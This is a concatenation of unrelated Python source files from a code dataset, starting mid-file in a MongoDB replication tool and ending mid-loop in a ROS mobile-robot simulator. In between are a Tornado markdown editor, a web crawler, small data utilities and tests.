-> contains the options which will have files included.\n file_crt_list -> contains options which require files to be created.\n func_dict -> dictionary list for the function calls or other options.\n opt_con_req_list -> contains the options that require other options.\n opt_def_dict -> contains options with their default values.\n opt_req_list -> contains the options that are required for the program.\n opt_val_list -> contains options which require values.\n\n Arguments:\n (input) argv -> Arguments from the command line.\n\n \"\"\"\n\n cmdline = gen_libs.get_inst(sys)\n dir_chk_list = [\"-d\"]\n file_chk_list = [\"-o\"]\n file_crt_list = [\"-o\"]\n func_dict = {\"-L\": chk_rep_lag, \"-M\": fetch_members, \"-S\": chk_rep_stat,\n \"-P\": fetch_priority, \"-T\": prt_rep_stat, \"-N\": node_chk}\n opt_con_req_list = {\"-i\": [\"-m\"], \"-s\": [\"-e\"], \"-u\": [\"-e\"]}\n opt_def_dict = {\"-j\": False, \"-i\": \"sysmon:mongo_rep_lag\"}\n opt_multi_list = [\"-e\", \"-s\"]\n opt_req_list = [\"-c\", \"-d\"]\n opt_val_list = [\"-c\", \"-d\", \"-i\", \"-m\", \"-o\", \"-e\", \"-s\"]\n\n # Process argument list from command line.\n args_array = arg_parser.arg_parse2(cmdline.argv, opt_val_list,\n opt_def_dict, multi_val=opt_multi_list)\n\n if not gen_libs.help_func(args_array, __version__, help_message) \\\n and not arg_parser.arg_require(args_array, opt_req_list) \\\n and arg_parser.arg_cond_req(args_array, opt_con_req_list) \\\n and not arg_parser.arg_dir_chk_crt(args_array, dir_chk_list) \\\n and not arg_parser.arg_file_chk(args_array, file_chk_list,\n file_crt_list):\n run_program(args_array, func_dict)\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"mongo_rep_admin.py","file_name":"mongo_rep_admin.py","file_ext":"py","file_size_in_byte":28410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"114289513","text":"# coding:utf-8\n\nimport logging\nimport json\nimport os.path as osp\n\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\nimport tornado.gen as gen\nfrom tornado.web import asynchronous\nimport tornado.websocket\n\nfrom mdi.main import settings, g, urls\n\n\nclass BaseHandler(tornado.web.RequestHandler):\n def render(self, path, **kwargs):\n g.render.render(self, path, **kwargs)\n\n def macro(self, path):\n return g.render.macro(path)\n\n def input(self, name, default=None, strip=True):\n return super(BaseHandler, self).get_argument(name, default, strip)\n\n def prepare(self):\n '''每次都检查文件'''\n conf = json.loads(open(settings.CONF_PATH).read())\n for p in conf.get('paths', []):\n if not osp.exists(p):\n conf['paths'].remove(p)\n open(settings.CONF_PATH, 'w').write(json.dumps(conf))\n\n\nclass Image(BaseHandler):\n def get(self, path):\n conf = json.loads(open(settings.CONF_PATH).read())\n last = conf['last']\n ext = last.rsplit('.')[-1].replace('jpg', 'jpeg')\n\n import urllib\n path = urllib.unquote(path)\n path = osp.join(osp.dirname(last), 'img', path)\n self.set_header('Content-Type', 'image/%s' % ext)\n self.write(open(path, 'rb').read())\n\n\nclass Editor(BaseHandler):\n def get(self):\n conf = json.loads(open(settings.CONF_PATH).read())\n paths = conf.get('paths', [])\n last = conf.get('last', '')\n md = ''\n if last:\n md = open(last).read().decode('utf-8')\n self.render('editor.html', md=md, paths=paths, last=last)\n\n\nclass SocketHandler(tornado.websocket.WebSocketHandler):\n @asynchronous\n @gen.coroutine\n def tailstream(self, msg):\n import time\n import os\n\n path = osp.expanduser(msg['path'].strip())\n lm = msg['lm']\n\n timeout = msg.get('to', 1)\n\n conf = json.loads(open(settings.CONF_PATH).read())\n if conf.get('last') != path:\n conf['last'] = path\n open(settings.CONF_PATH, 'w').write(json.dumps(conf))\n\n while 1:\n suc = osp.exists(path)\n if not suc:\n self.write_message({'err': True, 'msg': u'文件不存在!'})\n return\n\n mtime = os.stat(path)[8]\n if lm != mtime:\n data = open(path).read()\n self.write_message({'lm': mtime, 'data': data})\n lm = mtime\n\n yield gen.Task(\n tornado.ioloop.IOLoop.instance().add_timeout,\n time.time() + timeout)\n\n def on_message(self, msg):\n msg = json.loads(msg)\n self.tailstream(msg)\n\n\nclass AddPath(BaseHandler):\n def post(self):\n path = osp.expanduser(self.input('fullpath'))\n\n if not osp.exists(path):\n self.write({'err': True, 'msg': u'文件不存在!'})\n return\n\n if not osp.isfile(path):\n self.write({'err': True, 'msg': u'请输入一个文件名而不是目录名!'})\n return\n\n conf = json.loads(open(settings.CONF_PATH).read())\n paths = conf.get('paths', [])\n paths = set(paths)\n paths.add(path)\n conf['paths'] = list(paths)\n open(settings.CONF_PATH, 'w').write(json.dumps(conf))\n\n self.write({'err': False})\n\n\nclass Application(tornado.web.Application):\n def __init__(self):\n us = []\n env = globals()\n for route in urls.urls:\n if len(route) > 2:\n continue\n url, handler_name = route\n handler = env.get(handler_name, None)\n if handler is not None:\n us.append((url, handler))\n else:\n logging.warning('`{0}` not found'.format(handler_name))\n tornado.web.Application.__init__(self, us, **settings.TORNADO_SETTINGS)\n\n\napplication = Application()\n","sub_path":"mdi/main/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"371100663","text":"# coding=utf-8\n# This is a sample Python script.\n\n# Press ⌃R to execute it or replace it with your code.\n# Press Double ⇧ to search everywhere for classes, files, tool windows, actions, and settings.\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom openpyxl.worksheet.worksheet import Worksheet\nfrom requests.sessions import Session\nimport requests\nimport openpyxl\n\nlogin_html = ''\nparams = dict()\nparams['loginId'] = ''\nparams['loginPwd'] = ''\nparams['mode'] = 'login'\n\nmodelId = []\nfileName = 'result.xlsx'\n\ntotalCount = 1\npageCount = 2\nonePageGoodsCount = 2\n\nwb = openpyxl.Workbook()\nsheet = wb.active\n\n\ndef get_html(url):\n _html = \"\"\n resp = requests.get(url)\n if resp.status_code == 200:\n _html = resp.text\n return _html\n\n\ndef setSession():\n login = session_data.post(login_html, params)\n login.raise_for_status()\n # 세션 설정을 위하여 최초한번 로드???\n loadPage(\"9800800056\")\n\n\ndef loadPage(keywordValue):\n # keywordValue = \"5012035901738\"\n crawl_url = \"\" + str(keywordValue) + \"\"\n login = session_data.get(crawl_url)\n soupData = BeautifulSoup(login.content, 'html.parser') # type: BeautifulSoup\n return soupData\n\n\ndef setExcelColumn():\n sheet.cell(1, 1).value = \"번호\"\n sheet.cell(1, 2).value = \"상품명\"\n sheet.cell(1, 3).value = \"모델명\"\n sheet.cell(1, 4).value = \"판매여부\"\n\n\n# remove dummy data type-2\ndef getTitle(originResult):\n arrMid = originResult.split(\" title=\")\n arrLast = arrMid[1].split(\" width=\")\n return arrLast[0]\n\n\ndef getData(originResult):\n arr = str(originResult).split('item-display type-gallery')\n # print(arr[1])\n arrMid = arr[1].split(\"\")\n # print(arrMid)\n arrLast = arrMid[1].split(\"\")\n # print(arrLast[0])\n return arrLast[0]\n\n\ndef ExcelRead():\n global modelId\n global totalCount\n workbook = openpyxl.load_workbook('list.xlsx')\n ws = workbook['name']\n\n for cell in ws['G']: # A열의 모든 셀을 확인\n # print(str(cell.value).strip())\n typeCase = \"0\"\n devalue = str(cell.value).strip()\n if devalue == \"None\":\n # print(\"is None\")\n typeCase = \"1\"\n elif devalue == \"모델명\":\n # print(\"is 모델명\")\n typeCase = \"2\"\n else:\n # print(str(cell.value).strip())\n modelId.append(devalue)\n\n return modelId\n\n\ndef dataArray(soupData):\n galleryData = soupData.find('div', class_='item-display type-gallery')\n thumbnailData = galleryData.find_all('div', class_='thumbnail')\n return thumbnailData\n\n\ndef excelWrite(keywordValue, resultData):\n global totalCount\n checkWord = \"soldout-img\"\n\n print(totalCount)\n print(resultData)\n print(len(resultData))\n # testData.\n # href.find(\"a\")[\"href\"]\n # 파싱 방법 찾음.\n print(resultData.find(\"img\")[\"title\"])\n\n sheetNumBer = totalCount + 1\n sheet.cell(sheetNumBer, 1).value = str(totalCount) # \"번호\"\n sheet.cell(sheetNumBer, 2).value = str(getTitle(str(resultData)))\n sheet.cell(sheetNumBer, 3).value = str(keywordValue)\n\n if checkWord in str(resultData):\n sheet.cell(sheetNumBer, 4).value = str(\"품절\")\n else:\n sheet.cell(sheetNumBer, 4).value = str(\"판매중\")\n wb.save(fileName)\n totalCount += 1\n\n\ndef checkData(keywordValue):\n global totalCount\n\n soupData = loadPage(keywordValue)\n resultArray = dataArray(soupData) # 검색 결과 배열\n\n j = 0\n while j < len(resultArray):\n excelWrite(keywordValue, resultArray[j])\n j += 1\n\n\nif __name__ == '__main__':\n session_data = requests.session() # type: Session\n totalCount = 1\n print(\"[START]\")\n setSession()\n modelId = ExcelRead()\n\n wb = openpyxl.Workbook()\n sheet = wb.active\n setExcelColumn()\n\n i = 0\n while i < len(modelId):\n checkData(str(modelId[i]))\n # wb.save(fileName)\n i += 1\n\n print('[END]')\n","sub_path":"crawling/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"350570018","text":"import pandas as pd, random\nfrom korean_name_generator import namer\n\nclass DataCreate:\n def __init__(self, memberNumber=10000, dataCount=100):\n self.memberNumber = memberNumber\n self.dataCount = dataCount\n\n def memberNumberCreate(self):\n return [self.memberNumber + i for i in range(1, self.dataCount+1)]\n\n def nameCreate(self, maleRatio=0.7, femaleRatio=0.3):\n maleName = [namer.generate(True) for _ in range(int(self.dataCount * maleRatio))]\n femaleName = [namer.generate(False) for _ in range(int(self.dataCount * femaleRatio))]\n return maleName + femaleName\n\n def genderList(self, maleRatio=0.7, femaleRatio=0.3):\n male = ['male' for _ in range(int(self.dataCount * maleRatio))]\n female = ['female' for _ in range(int(self.dataCount * femaleRatio))]\n return male + female\n\n def phoneNumberCreate(self):\n result = []\n for _ in range(self.dataCount):\n mid = str(random.randrange(1, 9999))\n if len(mid) < 4:\n mid = ('0' * (4-len(mid))) + mid\n\n bottom = str(random.randrange(1, 9999))\n if len(bottom) < 4:\n bottom = ('0' * (4-len(bottom))) + bottom\n\n result.append(f'010-{mid}-{bottom}')\n\n return result\n\n def ageCreate(self, start, end):\n return [random.randrange(start, end) for _ in range(self.dataCount)]\n\n def birthCreate(self):\n result = []\n for _ in range(self.dataCount):\n month = random.randrange(1, 12)\n day = random.randrange(1, 31)\n\n if month == 2:\n if day > 28:\n day = 28\n\n result.append(f'{month}월 {day}일')\n\n return result\n\nif __name__ == '__main__':\n data = DataCreate()\n\n memberNumber = data.memberNumberCreate()\n nameList = data.nameCreate()\n genderList = data.genderList()\n age = data.ageCreate(20, 80)\n birth = data.birthCreate()\n phoneNumber = data.phoneNumberCreate()\n\n datas = {\n '회원번호': memberNumber,\n '이름': nameList,\n '성별': genderList,\n '나이': age,\n '생일': birth,\n '전화번호': phoneNumber\n }\n df = pd.DataFrame(datas)\n\n df.to_excel('test.xlsx')\n","sub_path":"User/LRTK/Code/Old/sample_excel.py","file_name":"sample_excel.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"34187942","text":"import sys\nfrom unittest import TestCase\n\nfrom scattertext.viz.HTMLVisualizationAssembly import HTMLVisualizationAssembly\nfrom scattertext.viz.VizDataAdapter import VizDataAdapter\n\n\nclass TestHTMLVisualizationAssembly(TestCase):\n\tdef test_main(self):\n\t\tassembler = self.make_assembler()\n\t\thtml = assembler.to_html()\n\t\tif sys.version_info.major == 2:\n\t\t\tself.assertEqual(type(html), unicode)\n\t\telse:\n\t\t\tself.assertEqual(type(html), str)\n\t\tself.assertFalse('' in html)\n\t\tself.assertTrue('Republican' in html)\n\n\tdef test_protocol_is_https(self):\n\t\thtml = self.make_assembler().to_html(protocol='https')\n\t\tself.assertTrue('https://' in html)\n\t\tself.assertFalse('http://' in html)\n\n\tdef test_protocol_is_http(self):\n\t\thtml = self.make_assembler().to_html(protocol='http')\n\t\tself.assertFalse('https://' in html)\n\t\tself.assertTrue('http://' in html)\n\n\tdef test_protocol_defaults_to_http(self):\n\t\tself.assertEqual(self.make_assembler().to_html(protocol='http'),\n\t\t self.make_assembler().to_html(), )\n\n\tdef test_raise_invalid_protocol_exception(self):\n\t\twith self.assertRaisesRegexp(BaseException,\n\t\t \"Invalid protocol: ftp. Protocol must be either http or https.\"):\n\t\t\tself.make_assembler().to_html(protocol='ftp')\n\n\tdef test_height_width_default(self):\n\t\tassembler = self.make_assembler()\n\t\tself.assertEqual(assembler._get_build_viz_call(), \"buildViz(undefined,undefined);\")\n\n\tdef test_height_width_nondefault(self):\n\t\tvisualization_data = self.make_adapter()\n\t\tself.assertEqual((HTMLVisualizationAssembly(visualization_data, width_in_pixels=1000)\n\t\t ._get_build_viz_call()),\n\t\t \"buildViz(1000,undefined);\")\n\n\t\tself.assertEqual((HTMLVisualizationAssembly(visualization_data, height_in_pixels=60)\n\t\t ._get_build_viz_call()),\n\t\t \"buildViz(undefined,60);\")\n\n\t\tself.assertEqual((HTMLVisualizationAssembly(visualization_data,\n\t\t height_in_pixels=60,\n\t\t width_in_pixels=1000)\n\t\t ._get_build_viz_call()),\n\t\t \"buildViz(1000,60);\")\n\n\tdef make_assembler(self):\n\t\tvisualization_data = self.make_adapter()\n\t\tassembler = HTMLVisualizationAssembly(visualization_data)\n\t\treturn assembler\n\n\tdef make_adapter(self):\n\t\twords_dict = {\"info\": {\"not_category_name\": \"Republican\", \"category_name\": \"Democratic\"},\n\t\t \"data\": [{\"y\": 0.33763837638376387, \"term\": \"crises\", \"ncat25k\": 0,\n\t\t \"cat25k\": 1, \"x\": 0.0, \"s\": 0.878755930416447},\n\t\t {\"y\": 0.5, \"term\": \"something else\", \"ncat25k\": 0,\n\t\t \"cat25k\": 1, \"x\": 0.0,\n\t\t \"s\": 0.5}]}\n\t\tvisualization_data = VizDataAdapter(words_dict)\n\t\treturn visualization_data\n","sub_path":"scattertext/test/test_HTMLVisualizationAssembly.py","file_name":"test_HTMLVisualizationAssembly.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"647290756","text":"import os\r\nimport psycopg2\r\n\r\n\r\nDATABASE_URL = os.environ['DATABASE_URL']\r\nconn = psycopg2.connect(DATABASE_URL, sslmode='require')\r\n# try:\r\n# DATABASE_URL = os.environ['DATABASE_URL']\r\n# conn = psycopg2.connect(DATABASE_URL, sslmode='require')\r\n# except:\r\n# print(\"Database not connected\")\r\n\r\n\r\ncur = conn.cursor()\r\n\r\ndef create_results(user_email, ip, access_date, user_decision, url, title, ml_result, highlight_result):\r\n row_data = (user_email, ip, access_date, user_decision, url, title, ml_result, highlight_result)\r\n new_row = \"INSERT INTO user_data(user_email, ip, access_date, user_decision, url, title, ml_result, highlight_result) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\"\r\n cur.execute(new_row, row_data)\r\n conn.commit()\r\n\r\n\r\n\r\n\r\ndef update_user_decision(user_email, user_decision):\r\n latest_entry = \"SELECT * FROM user_data WHERE user_email = %s ORDER BY id DESC LIMIT 1\"\r\n cur.execute(latest_entry, [user_email])\r\n result = cur.fetchall()\r\n for row in result:\r\n row_number = row[0]\r\n update_user_answer = \"\"\" UPDATE user_data\r\n SET\r\n user_decision = %s\r\n WHERE\r\n id = %s\"\"\"\r\n values = (user_decision, row_number)\r\n cur.execute(update_user_answer, values)\r\n conn.commit()\r\n","sub_path":"backend/datamanager.py","file_name":"datamanager.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"488479233","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Library/Python/3.7/site-packages/tripgo_parser/get.py\n# Compiled at: 2020-01-31 20:22:28\n# Size of source mod 2**32: 5366 bytes\nimport os, requests, json, datetime, time\n\nclass Response:\n\n def __init__(self, key, origlat, origlon, destlat, destlon, startime, date, tripid='', modes=None, allModes=False, bestOnly=False):\n self.tripid = tripid\n self.origlat = origlat\n self.origlon = origlon\n self.destlat = destlat\n self.destlon = destlon\n self.startime = startime\n self.orig = '(' + str(origlat) + ',' + str(origlon) + ')'\n self.dest = '(' + str(destlat) + ',' + str(destlon) + ')'\n self.startime = startime\n self.allModes = allModes\n self.bestOnly = bestOnly\n self.modes = modes if modes is not None else []\n self.startimeTimestamp = self.dateToTimestamp(date) + int(startime) * 60\n self.fileExists = False\n self.usageExceeded = False\n self.parameters = self.create_parameters()\n self.headers = {'X-TripGo-Key': key}\n\n def create_parameters(self):\n parameters = {'v':11, \n 'from':self.orig, \n 'to':self.dest, \n 'departAfter':int(self.startimeTimestamp), \n 'bestOnly':self.bestOnly}\n if len(self.modes) != 0:\n parameters.update({'modes': self.modes})\n else:\n parameters.update({'allModes': True})\n return parameters\n\n def fetch(self):\n while True:\n try:\n results = requests.get('https://api.tripgo.com/v1/routing.json', params=(self.parameters),\n headers=(self.headers))\n data = results.json()\n print('Successful fetch from %s' % results.url)\n self.checkUsageLimit(data)\n if self.usageExceeded:\n print('Error: API usage exceeded. Waiting 60 seconds...')\n time.sleep(60)\n continue\n return data\n except Exception as e:\n try:\n print('Error: ' + str(e.message))\n print('Retrying in 5...')\n time.sleep(5)\n continue\n finally:\n e = None\n del e\n\n def save(self, destination_folder, unique_id=''):\n directory = self.dir_path(destination_folder)\n path, id, file_exists = self.file_path(directory, unique_id)\n if file_exists:\n print('File {} already exists.'.format(str(id)))\n else:\n data = self.fetch()\n with open(path, 'w') as (f):\n json.dump(data, f)\n return True\n\n def dir_path(self, destination_folder):\n cwd = os.getcwd()\n directory = os.path.join(cwd, destination_folder)\n dirExists = os.path.exists(directory)\n if not dirExists:\n os.mkdir(destination_folder)\n return directory\n\n def file_path(self, directory, unique_id=''):\n md = '-'.join(self.modes) if self.modes is not [] else ''\n if unique_id == '' and self.tripid == '':\n olt = self.origlat[-4:]\n oln = self.origlon[-4:]\n dlt = self.destlat[-4:]\n dln = self.destlon[-4:]\n unique_id = '{}-{}-{}-{}-{}{}.json'.format(olt, oln, dlt, dln, self.startime, md)\n else:\n if unique_id == '':\n if self.tripid != '':\n if self.modes == []:\n unique_id = '{}-{}.json'.format(self.tripid, self.startime)\n else:\n unique_id = '{}-{}-{}.json'.format(self.tripid, self.startime, md)\n else:\n unique_id = ''.join([unique_id, '.json'])\n path = os.path.join(directory, unique_id)\n pathExists = os.path.exists(path)\n return (\n path, unique_id, pathExists)\n\n def dateToTimestamp(self, dateString):\n dateArray = dateString.split('/')\n dateArray = [int(i) for i in dateArray]\n currentYear = datetime.datetime.now().year\n timestamp = datetime.datetime(currentYear + 1, dateArray[1], dateArray[0]).timestamp()\n return int(timestamp) + 36000\n\n def checkUsageLimit(self, data):\n try:\n if 'usage' in data['error']:\n self.usageExceeded = True\n except:\n self.usageExceeded = False","sub_path":"pycfiles/tripgo_parser-0.3.0.macosx-10.14-x86_64.tar/get.cpython-37.py","file_name":"get.cpython-37.py","file_ext":"py","file_size_in_byte":4568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"12124314","text":"import time\r\nlist = []\r\nprint(\"Welcome To GTIN-8 Version 0.8.1\")\r\nanswer_1 = 1\r\nwhile (answer_1 == 1):\r\n\r\n def option1():\r\n count = 7\r\n index = 0\r\n list = []\r\n for index in range(count):\r\n\r\n print(\"Enter a single number then press enter\")\r\n number = int(input())\r\n list.insert(index, number)\r\n \r\n GTIN8_1 = list[0] * 3\r\n GTIN8_2 = list[1] * 1\r\n GTIN8_3 = list[2] * 3\r\n GTIN8_4 = list[3] * 1\r\n GTIN8_5 = list[4] * 3\r\n GTIN8_6 = list[5] * 1\r\n GTIN8_7 = list[6] * 3\r\n GTIN_8_8 = GTIN8_1 + GTIN8_2 + GTIN8_3 + GTIN8_4 + GTIN8_5 + GTIN8_6 + GTIN8_7\r\n GTIN_8_8_round = round(GTIN_8_8, -1)\r\n \r\n \r\n if(GTIN_8_8 > GTIN_8_8_round):\r\n GTIN_8_8_round = GTIN_8_8_round + 10\r\n GTIN_8_8 = GTIN_8_8_round - GTIN_8_8\r\n list.append(GTIN_8_8)\r\n \r\n else:\r\n GTIN_8_8 = GTIN_8_8_round - GTIN_8_8\r\n list.append(GTIN_8_8)\r\n return list\r\n\r\n def GTIN_8_8():\r\n print(\"Your GTIN 8 product code is:\")\r\n print(list)\r\n answer_1 = 1\r\n\r\n def ValOption2():\r\n\r\n count = 8\r\n index = 0\r\n list = []\r\n\r\n for index in range(count):\r\n\r\n print(\"To validate the GTIN-8 Code\")\r\n print(\"Enter a single number then press enter\")\r\n number = int(input())\r\n list.insert(index, number)\r\n \r\n \r\n valGTIN8_1 = list[0] * 3\r\n valGTIN8_2 = list[1] * 1\r\n valGTIN8_3 = list[2] * 3\r\n valGTIN8_4 = list[3] * 1\r\n valGTIN8_5 = list[4] * 3\r\n valGTIN8_6 = list[5] * 1\r\n valGTIN8_7 = list[6] * 3\r\n valGTIN8_8 = list[7] * 1\r\n\r\n totalval = valGTIN8_1 + valGTIN8_2 + valGTIN8_3 + valGTIN8_4 + valGTIN8_5 + valGTIN8_6 + valGTIN8_7 + valGTIN8_8\r\n\r\n if totalval%10==0:\r\n print(\"Your GTIN-8 has successfully validated\")\r\n\r\n else:\r\n print(\"Your GTIN-8 has failed to validate\")\r\n\r\n answer_1 = 1\r\n \r\n\r\n print(\"To select a option input its number\")\r\n print(\"Option.1 Calculate the GTIN-8 product code from a seven digit number\")\r\n print(\"Option.2 Check the validity of an eight digit GTIN-8 code\")\r\n print(\"Option.3 View a generated GTIN-8\")\r\n \r\n menu_answer = input()\r\n\r\n\r\n if (menu_answer == \"1\"):\r\n list = option1()\r\n\r\n\r\n if (menu_answer == \"2\"):\r\n ValOption2()\r\n\r\n if (menu_answer == \"3\"):\r\n GTIN_8_8()\r\n","sub_path":"GTIN-8 Calculator.py","file_name":"GTIN-8 Calculator.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"62112252","text":"import sqlite3\n\ndef connect():\n con = sqlite3.connect(\"books.db\")\n cur = con.cursor()\n cur.execute(\"CREATE TABLE IF NOT EXISTS book (ID integer Primary Key, Title text, Author text, Year integer, ISBN integer)\")\n con.commit()\n con.close()\n\ndef insert(title=\"\",author=\"\",year=\"\",isbn=\"\"):\n con = sqlite3.connect(\"books.db\")\n cur = con.cursor()\n cur.execute(\"INSERT INTO book VALUES (NULL,?,?,?,?)\",(title,author,year,isbn)) # NULL tells python to sen auto incremented value for the firt column i.e. ID in book table\n con.commit()\n con.close()\n\ndef view():\n con = sqlite3.connect(\"books.db\")\n cur = con.cursor()\n cur.execute(\"SELECT * FROM book\")\n rows = cur.fetchall()\n con.close\n return rows\n\ndef search(title,author,year,isbn):\n con = sqlite3.connect(\"books.db\")\n cur = con.cursor()\n cur.execute(\"SELECT * FROM book WHERE Title=? OR Author=? OR Year=? OR ISBN=?\",(title,author,year,isbn))\n rows = cur.fetchall()\n con.close\n return rows\n\ndef delete(id):\n con = sqlite3.connect(\"books.db\")\n cur = con.cursor()\n cur.execute(\"DELETE FROM book WHERE id=?\",(id,)) #, is required after id for delete and update is single argument is passed\n con.commit()\n con.close()\n\ndef update(id,title,author,year,isbn):\n con = sqlite3.connect(\"books.db\")\n cur = con.cursor()\n cur.execute(\"UPDATE book SET Title=?, Author=?, Year=?, ISBN=? WHERE id=?\",(title,author,year,isbn,id))\n con.commit()\n con.close()\n\n#connect()\n#insert(\"Many Masters Many Slaves\",\"Dr Brian Weiss\",1976,987545421)\n#print(view())\n#delete(5)\n#update(3,\"Bhaag Milkha\",\"Milkha Singh\",2014,42456735)\n#print(search(author=\"Milkha Singh\"))\n#print(view())\n","sub_path":"DesktopApp/BackBookApp.py","file_name":"BackBookApp.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"21301731","text":"import os\n\nfrom imageai.Prediction import ImagePrediction\n\nPATH_HERE = os.getcwd()\nPATH_MODEL = os.path.join(PATH_HERE, \"resnet50_weights_tf_dim_ordering_tf_kernels.h5\")\nPATH_IMAGE_INPUT = os.path.join(PATH_HERE, \"image1.jpg\")\n\n\ndef main(path_model, path_img):\n prediction = ImagePrediction()\n prediction.setModelTypeAsResNet()\n prediction.setModelPath(path_model)\n prediction.loadModel()\n\n predictions, probabilities = prediction.predictImage(path_img, result_count=10)\n for eachPrediction, eachProbability in zip(predictions, probabilities):\n print(eachPrediction , \" : \" , eachProbability)\n\n\nif __name__ == '__main__':\n main(path_model=PATH_MODEL, path_img=PATH_IMAGE_INPUT)","sub_path":"examples/image_prediction.py","file_name":"image_prediction.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"480914","text":"import time\nimport P4Summary\nimport CopyBuildBackup\nimport JiraReadme\nimport os\n\ntimefreq = 1800\n\ndef main():\n while 1:\n\n print('')\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n start_time = time.time()\n try:\n os.system('E:\\\\Tool\\\\Install_Opengrok\\\\syn_opengrok.bat')\n CopyBuildBackup.main()\n print('')\n P4Summary.main()\n JiraReadme.main()\n\n except Exception as e:\n # log(str(e), level.error)\n print(str(e))\n pass\n finally:\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n print(\"time elapsed: {:.2f}s\".format(time.time() - start_time))\n print('Idle..............................')\n time.sleep(timefreq)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"auto.py","file_name":"auto.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"466925905","text":"from sys import stdin\r\ndef dfs(i,j):\r\n visit[i][j] = True\r\n x=[i,i-1,i-1,i-1,i,i+1,i+1,i+1]\r\n y=[j-1,j-1,j,j+1,j+1,j+1,j,j-1]\r\n for h in range(8):\r\n if x[h]>=0 and x[h]=0 and y[h] List[\"Trade\"]:\n return [Trade(symbol, side, r.price, r.amount) for r in order_book_rows]\n\n @classmethod\n def trade_from_binance_execution_report_event(cls, execution_report: Dict[str, any]) -> \"Trade\":\n execution_type: str = execution_report.get(\"x\")\n if execution_type != \"TRADE\":\n raise ValueError(f\"Invalid execution type '{execution_type}'.\")\n return Trade(execution_report[\"s\"],\n TradeType.BUY if execution_report[\"S\"] == \"BUY\" else TradeType.SELL,\n float(execution_report[\"L\"]),\n float(execution_report[\"l\"]))\n\n @classmethod\n def to_pandas(cls, trades: List):\n columns: List[str] = [\"symbol\", \"trade_side\", \"price\", \"quantity\"]\n data = [[\n trade.symbol,\n \"BUY\" if trade.side is TradeType.BUY else \"SELL\",\n trade.price,\n trade.amount,\n ] for trade in trades]\n return pd.DataFrame(data=data, columns=columns)\n","sub_path":"wings/trade.py","file_name":"trade.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"489076860","text":"#!/usr/bin/python2\n\n# =============================================================================\n# Peter G. Adamczyk \n# 2018-10-11\n# Updated 2021-02-26\n# =============================================================================\n\n\nimport rospy\nimport traceback \nimport me439_mobile_robot_class_v00 as m439rbt\nfrom geometry_msgs.msg import Pose2D\nfrom dogrob_util.msg import ME439WheelSpeeds, ME439WheelAngles, ME439WheelDisplacements\n\n#==============================================================================\n# # Get parameters from rosparam\n#==============================================================================\nwheel_width = rospy.get_param('/wheel_width_actual')\nbody_length = rospy.get_param('/body_length')\nwheel_diameter = rospy.get_param('/wheel_diameter_actual')\nwheel_radius = wheel_diameter/2.0\n\n\nt_previous = None\nf = 100. # Simulation rate of the simulator node\nn = 10 # Publication rate of the Pose\n\ndef simulate(): \n global t_previous, f, n\n \n \n# =============================================================================\n# # Launch a node called \"mobile_robot_simulator\"\n# =============================================================================\n rospy.init_node('mobile_robot_simulator', anonymous=False)\n t_previous = rospy.get_rostime()\n# =============================================================================\n# #Create a mobile robot object from the Imported module \"me439_mobile_robot_class\"\n# =============================================================================\n robot = m439rbt.robot(wheel_width, body_length, wheel_radius)\n \n#==============================================================================\n# # Here start a Subscriber to the \"wheel_speeds_desired\" topic.\n#==============================================================================\n # NOTE the Callback to the set_wheel_speeds function of the robot class.\n # This will update \n # NOTE also the extra arguments to that callback: the Motor Encoders (both in a list)\n sub_wheel_speeds = rospy.Subscriber('/wheel_speeds_desired', ME439WheelSpeeds, set_wheel_speed_targets,robot) \n \n pub_robot_pose = rospy.Publisher('/robot_pose_simulated', Pose2D, queue_size = 1)\n robot_pose_message = Pose2D()\n pub_robot_wheel_angles = rospy.Publisher('/robot_wheel_angles_simulated', ME439WheelAngles, queue_size = 10)\n robot_wheel_angles_message = ME439WheelAngles()\n pub_robot_wheel_displacements = rospy.Publisher('/robot_wheel_displacements_simulated', ME439WheelDisplacements, queue_size = 10)\n robot_wheel_displacements_message = ME439WheelDisplacements()\n \n # Rate object to set a simulation rate\n r = rospy.Rate(f)\n \n# =============================================================================\n# # Loop to run the simulation\n# =============================================================================\n while not rospy.is_shutdown():\n # Count to n here to prevent publishing too often\n for ii in range(n): \n t_current = rospy.get_rostime()\n dt = (t_current - t_previous).to_sec()\n t_previous = t_current # save the current time as the previous time, for the next use. \n robot.integration_step(dt)\n \n \n r.sleep() # keep this node from exiting\n \n# 